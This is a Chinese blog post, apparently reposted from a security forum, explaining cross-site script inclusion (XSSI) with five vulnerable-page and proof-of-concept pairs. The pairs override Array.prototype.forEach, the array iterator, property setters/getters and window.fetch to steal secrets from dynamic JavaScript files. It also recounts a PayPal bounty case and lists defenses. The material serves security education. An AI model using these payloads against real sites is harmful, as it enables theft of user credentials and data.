xssi漏洞案例分析

公粽号:黒掌

一个专注于分享渗透测试、黑客圈热点、黑客工具技术区博主!

来源

在h1看到paypal的key信息泄露导致用户账户信息泄露,包括用户的用户名、邮箱等信息,并获得1.5w$奖金,分析完毕在freebuf上找到xssi相关文章,该文章在18年发布,但是当时对于该漏洞的看重程度还不是很高。

漏洞原理

XSSI被称为跨站脚本包含漏洞,通常在开发过程中对数据的临时存储,存储在动态javascript文件中,方便全局对数据的调用。该数据通过服务端生成,临时存储在js文件中,被客户端进行使用,通过该功能进行数据处理、身份认证等处理;问题在于通过对动态js的调用,我们可以通过嵌入js文件对动态的js文件进行处理,获取的数据导致用户凭证等敏感信息泄露,如果存在xss漏洞,将js文件嵌入进去,危害将会十分大,paypal的案例就是最好的例子。

show the code

  • demo1
    获取数组内容:

page:

(function(){
    var secret = ["abc","def"];
    secret.forEach(function(element){
        //dosomething
    });
})();

js_poc:

<script>
    Array.prototype.forEach = function(callback){
        var resultstring = "your secret are:<b>";
        for (var i = 0,length=this.length;i<length;i++) {
            if(i>0){
                resultstring+=",";
            }
            resultstring  += this[i];

        }
        resultstring +="</b>";
        var div = document.getElementById("result");
        div.innerHTML = resultstring;
    };
</script>
  • demo2
    还是对一个数组进行遍历,获取内容

page:

(function(){

    let secretArray = ["this","contains", "an", "API", "key"];

    for (let element of secretArray) {

        doSomething(element);

    }

})()

poc

Array.prototype[Symbol.iterator]= function() {
    let arr = this;
    let index = 0;
    console.log(arr)
    return {
        next: function() {
            return {
                value: arr[index++],
                done: index > arr.length
            }
        }
    }
};
  • demo3

对定义的变量进行获取,此处的poc通过定义函数,使变量在定义的同时进行调用该函数,获取数据
page:

(function(){
    "use strict";
    var api_key ="1391f6bd2f6fe8dcafb847e0615e5b29"
    fetch('/api/v1/getusers', {
        method: "POST",
        body: "api_key=" + api_key
    })
})()

poc

Object.prototype.__defineSetter__('api_key',function(value){

    console.log("this value has been setting:");
    console.log(value);


    return this._api_key = value;

});
Object.prototype.__defineGetter__('api_key',function(value){

    console.log("this value has been getting:");
    console.log(value);
    return this._api_key;

});
  • demo4
    通过对函数的覆写进行调用函数,获取数据

page

(function(){
    "use strict";
    var api_key ="1391f6bd2f6fe8dcafb847e0615e5b29"
    fetch('/api/v1/getusers', {
        method: "POST",
        body: "api_key=" + api_key
    })
})()

poc

window.fetch= (url, options) => {
    console.log(`URL: ${url}, data:${options.body}`);
    alert(options.body);

};
  • demo5
    h1案例,通过泄露在js文件中的csrf和session进行用户凭证验证失败触发了google验证码机制后,完成google验证码机制,凭证验证的responce中会包含一个表单,包括用户的敏感信息,此时我们通过编写的poc_js文件触发该用户的google机制,然后用户通过google机制,将responce信息返回到我们的服务器。
    js敏感信息泄露:

img

与jsonp劫持的关系

jsonp劫持等利用js对回调函数进行插入恶意代码,将敏感数据发送到攻击者的服务器,其实就是对存在jsonp劫持漏洞的网页进行发起一次请求,让其受害者客户端执行插入的恶意代码;而xssi主要获取服务器为每个客户端生成的动态js文件中的敏感数据,达到信息泄露的目的,这种信息可能包括用户的登录凭证,严重可导致任意用户账号接管。

防御

  • 不在js文件中生成敏感数据
  • 自定义复杂加密算法加密数据
  • 启动csp内容安全策略,白名单化加载的js文件

来源:https://xz.aliyun.com

作者:sircoding

活码3D(缩小)

今天的分享就到这里,喜欢的小伙伴记得点赞收藏转发,我有一个公粽号【黒掌】, 里面分享了更多黑客秘籍,欢迎来耍!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值